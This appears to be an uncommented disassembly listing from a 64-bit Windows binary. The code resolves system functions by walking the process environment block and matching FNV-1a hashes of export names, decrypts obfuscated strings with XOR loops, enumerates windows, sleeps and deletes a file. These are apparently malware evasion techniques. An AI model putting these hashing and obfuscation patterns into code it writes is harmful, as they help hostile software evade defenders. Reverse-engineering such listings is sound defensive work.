movsd xmm0, qword [0x1400b7910]
movsd qword [rbp + 0x3a0], xmm0
mov eax, dword [str._2mGDO]
mov dword [rbp + 0x3a8], eax
movzx eax, word [0x1400b791c]
mov word [rbp + 0x3ac], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140033446
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140033446
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140033441
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140033420
cmp r8d, 0xe76fb4aa
je 0x14003344b
test r9d, r9d
jne 0x140033400
mov rax, qword [rax]
jmp 0x1400333d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r14d
cmp r15d, 2
jl 0x1400335b3
movdqa xmm5, xmmword [0x1400b8680]
movdqa xmm4, xmmword [0x1400b86e0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400b86a0]
movd xmm8, r13d
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x394]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400334b0
cmp r8d, 0x1e
jge 0x1400335f0
movsxd rax, r8d
lea r9, [rbp + 0x390]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x1400335c0
lea rcx, [rbp + 0x390]
call r11
movups xmm0, xmmword [str.q_thb_YVMH_qQX3]
movups xmmword [rbp + 0x300], xmm0
movsd xmm0, qword [str._tk2__IAP]
movsd qword [rbp + 0x310], xmm0
cmp byte [0x1400b718f], 0
je 0x1400337b0
cmp r15d, 2
jl 0x14003376d
movdqa xmm5, xmmword [0x1400b8680]
mov edx, r14d
movdqa xmm4, xmmword [0x1400b86e0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400b86a0]
movd xmm8, r13d
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x304]
mov r8d, dword [rsp + 0x30]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x140033670
jmp 0x1400337b0
lea r9, [rbp + 0x300]
mov r8d, r14d
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140033780
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x4f0]
call fcn.140005c00
nop
lea rax, [rbp + 0x300]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400337d3
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x4f0]
call fcn.140005c20
nop
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x510]
call fcn.14002fd60
mov rdx, rax
lea rcx, [0x1400c6158]
call fcn.14003cf40
lea rcx, [rbp + 0x510]
call fcn.1400059f0
nop
lea rcx, [rbp + 0x4f0]
call fcn.1400059f0
lea rdx, [0x1400c6158]
lea rcx, [rbp + 0x530]
call fcn.140005a90
mov rdx, rax
lea rcx, [0x1400c7610]
call fcn.14004dcb0
cmp byte [0x1400c7820], 0
je 0x1400341cd
lea rcx, [0x1400c7610]
call fcn.140047380
lea rcx, [0x1400c7610]
call fcn.140048130
test al, al
jne 0x140033920
lea rdx, [0x1400c6158]
lea rcx, [rbp + 0x550]
call fcn.140005a90
mov rdx, rax
lea rcx, [0x1400c7610]
call fcn.14004dcb0
cmp byte [0x1400c7820], 0
je 0x14003c3cc
lea rdx, [0x1400c6158]
lea rcx, [rbp + 0x570]
call fcn.140005a90
mov rdx, rax
lea rcx, [0x1400c7610]
call fcn.14004dcb0
cmp byte [0x1400c7820], 0
je 0x14003c3cc
lea rcx, [0x1400c7610]
call fcn.140047380
lea rdx, str.Swabra
lea rcx, [0x1400c7828]
call fcn.140005e20
test al, al
jne 0x14003c3cc
call fcn.140005bb0
mov byte [0x1400c7348], 1
xor edx, edx
lea rcx, [0x14000fc80]
call qword [sym.imp.USER32.dll_EnumWindows]
jmp 0x1400358a7
mov rax, qword [0x1400b7298]
mov qword [rbp + 0xf0], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400339b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400339b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400339b1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140033990
cmp r8d, 0xe76fb4aa
je 0x1400339bb
test r9d, r9d
jne 0x140033970
mov rax, qword [rax]
jmp 0x140033940
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r15d, 2
jl 0x140033ae7
movdqa xmm4, xmmword [0x1400b86e0]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400b8680]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b86a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xf0]
xorps xmm2, xmm1
movd dword [rbp + 0xf0], xmm2
movdqa xmm3, xmmword [0x1400b8690]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b86a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xf4]
xorps xmm2, xmm1
movd dword [rbp + 0xf4], xmm2
jmp 0x140033b30
lea r9, [rbp + 0xf0]
mov r8d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140033b00
lea rcx, [rbp + 0xf0]
call r11
mov eax, dword [0x1400b6d58]
mov dword [rbp + 0x18], eax
movzx eax, word [0x1400b6d5c]
mov word [rbp + 0x1c], ax
movzx eax, byte [str.8jgdxWV]
mov byte [rbp + 0x1e], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140033be6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140033be6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140033be1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140033bc0
cmp r8d, 0xe76fb4aa
je 0x140033beb
test r9d, r9d
jne 0x140033ba0
mov rax, qword [rax]
jmp 0x140033b70
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rbp + 0x18], reloc.WLDAP32.dll_Ordinal_27
xor byte [rbp + 0x19], 0x33
xor byte [rbp + 0x1a], 0x34
xor byte [rbp + 0x1b], 0x35
xor byte [rbp + 0x1c], 0x36
xor byte [rbp + 0x1d], 0x37
xor byte [rbp + 0x1e], 0x38
lea rcx, [rbp + 0x18]
call rdx
mov eax, dword [0x1400b6fb4]
mov dword [rbp - 0x58], eax
movzx eax, word [0x1400b6fb8]
mov word [rbp - 0x54], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140033cc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140033cc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140033cc1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140033ca0
cmp r8d, 0xe76fb4aa
je 0x140033ccb
test r9d, r9d
jne 0x140033c80
mov rax, qword [rax]
jmp 0x140033c50
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rbp - 0x58], reloc.WLDAP32.dll_Ordinal_27
xor byte [rbp - 0x57], 0x33
xor byte [rbp - 0x56], 0x34
xor byte [rbp - 0x55], 0x35
xor byte [rbp - 0x54], 0x36
xor byte [rbp - 0x53], 0x37
lea rcx, [rbp - 0x58]
call rdx
movups xmm0, xmmword [0x1400b7c98]
movups xmmword [rbp + 0x330], xmm0
movsd xmm0, qword [0x1400b7ca8]
movsd qword [rbp + 0x340], xmm0
movzx eax, word [0x1400b7cb0]
mov word [rbp + 0x348], ax
movzx eax, byte [0x1400b7cb2]
mov byte [rbp + 0x34a], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140033dc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140033dc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140033dc1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140033da0
cmp r8d, 0xe76fb4aa
je 0x140033dcb
test r9d, r9d
jne 0x140033d80
mov rax, qword [rax]
jmp 0x140033d50
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
mov r8d, r14d
cmp r15d, 2
jl 0x140033f33
movdqa xmm5, xmmword [0x1400b8680]
movdqa xmm4, xmmword [0x1400b86e0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400b86a0]
movd xmm8, r13d
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x334]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140033e30
cmp r8d, 0x1b
jge 0x140033f70
movsxd rax, r8d
lea r9, [rbp + 0x330]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140033f40
lea rcx, [rbp + 0x330]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140034006
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140034006
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140034001
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140033fe0
cmp r8d, 0x2fa62ca8
je 0x14003400b
test r9d, r9d
jne 0x140033fc0
mov rax, qword [rax]
jmp 0x140033f90
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x7d0
call rdx
mov eax, dword [str.Q_G5_h]
mov dword [rsp + 0x50], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400340c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400340c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400340c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400340a0
cmp r8d, 0x491e0a9c
je 0x1400340cb
test r9d, r9d
jne 0x140034080
mov rax, qword [rax]
jmp 0x140034050
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r15d, 2
jl 0x140034180
movdqa xmm3, xmmword [0x1400b8680]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400b86e0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b86e0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400b86a0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rsp + 0x50]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
lea rcx, [rsp + 0x50]
call r11
jmp 0x1400358a7
lea r9, [rsp + 0x50]
mov r8d, r14d
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140034190
lea rcx, [rsp + 0x50]
call r11
jmp 0x1400358a7
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140034256
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140034256
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140034251
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140034230
cmp r8d, 0x2fa62ca8
je 0x14003425b
test r9d, r9d
jne 0x140034210
mov rax, qword [rax]
jmp 0x1400341e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x7d0
call rdx
mov eax, dword [str.Q_G5_h]
mov dword [rsp + 0x54], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140034316
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140034316
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140034311
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400342f0
cmp r8d, 0x491e0a9c
je 0x14003431b
test r9d, r9d
jne 0x1400342d0
mov rax, qword [rax]
jmp 0x1400342a0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r15d, 2
jl 0x1400343c5
movdqa xmm3, xmmword [0x1400b8680]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400b86e0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b86e0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400b86a0]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rsp + 0x54]
xorps xmm2, xmm0
movd dword [rsp + 0x54], xmm2
jmp 0x140034400
lea r9, [rsp + 0x54]
mov r8d, r14d
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400343d0
lea rcx, [rsp + 0x54]
call r11
movups xmm0, xmmword [str.q_thb_YVMH_qQX3]
movups xmmword [rbp + 0x318], xmm0
movsd xmm0, qword [str._tk2__IAP]
movsd qword [rbp + 0x328], xmm0
cmp byte [0x1400b718f], 0
je 0x1400345c0
cmp r15d, 2
jl 0x14003457d
movdqa xmm5, xmmword [0x1400b8680]
mov edx, r14d
movdqa xmm4, xmmword [0x1400b86e0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x1400b86a0]
movd xmm8, r13d
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x31c]
mov r8d, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b86c0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x140034480
jmp 0x1400345c0
lea r9, [rbp + 0x318]
mov r8d, r14d
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140034590
lea rcx, [rbp + 0x318]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rax, qword [0x1400b7298]
